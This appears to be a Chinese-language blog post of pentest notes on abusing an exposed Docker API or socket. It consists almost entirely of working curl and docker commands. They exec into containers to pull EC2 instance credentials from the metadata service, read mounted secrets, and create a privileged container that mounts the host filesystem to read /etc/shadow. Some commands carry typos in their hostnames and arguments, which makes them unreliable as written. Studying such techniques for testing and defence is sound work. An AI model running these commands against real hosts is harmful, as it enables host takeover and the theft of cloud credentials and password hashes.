滥用Docker API与Socket的安全攻防指南

本文详细介绍了如何通过暴露的Docker API和Socket进行安全测试,包括容器创建、命令执行、密钥窃取和主机文件系统挂载等攻击技术,提供了完整的curl命令示例和实际操作步骤。

滥用Docker API | Socket

关于滥用开放Docker Socket的笔记

本文不涉及从Docker容器中逃逸的内容。

端口:通常是2375和2376,但可以是任何端口

启用Docker Socket(创建练习环境)

暴露Docker API | Socket本质上相当于授予系统上任何容器的root权限。

守护进程默认监听在unix:///var/run/docker.sock,但你可以将Docker绑定到其他主机/端口或Unix socket。

Docker socket是Docker守护进程默认监听的socket,可用于从容器内与守护进程通信,或者如果配置了,也可以从容器外部与运行Docker的主机通信。

创建nginx容器

以下命令使用curl通过Unix socket向Docker守护进程的/containers/create端点发送{“Image”:“nginx”}负载。这将创建一个基于Nginx的容器并返回其ID。

1
2
3
$ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create

{"Id":"fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65","Warnings":null}

启动容器

1
$ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start

验证Docker版本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ curl -s http://open.docker.socket:2375/version | jq

{
  "Version": "1.13.1",
  "ApiVersion": "1.26",
  "MinAPIVersion": "1.12",
  "GitCommit": "07f3374/1.13.1",
  "GoVersion": "go1.9.4",
  "Os": "linux",
  "Arch": "amd64",
  "KernelVersion": "3.10.0-514.26.2.el7.x86_64",
  "BuildTime": "2018-12-07T16:13:51.683697055+00:00",
  "PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64"
}

使用Docker客户端

1
docker -H open.docker.socket:2375 version

获取运行容器列表

1
docker -H open.docker.socket:2375 ps

执行容器命令

1
docker -H open.docker.socket:2375 exec -it mysql /bin/bash

其他有用命令

查看停止的容器:

1
docker -H open.docker.socket:2375 ps -a

查看主机上的镜像:

1
docker -H open.docker.socket:2375 images

使用curl与API交互

有时你会看到2376端口用于TLS端点。虽然无法使用Docker客户端连接,但可以使用curl没有问题。

列出容器

1
curl --insecure https://tls-opendocker.socker:2376/containers/json | jq

查看容器内进程

1
curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq

设置执行任务访问元数据URL

1
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'

Docker密钥

列出密钥:

1
curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq

检查挂载内容

1
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'

读取挂载的密钥

1
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'

创建挂载主机文件系统的容器

1
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'

从主机读取文件

1
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'

清理

停止容器:

1
curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop

删除停止的容器:

1
curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计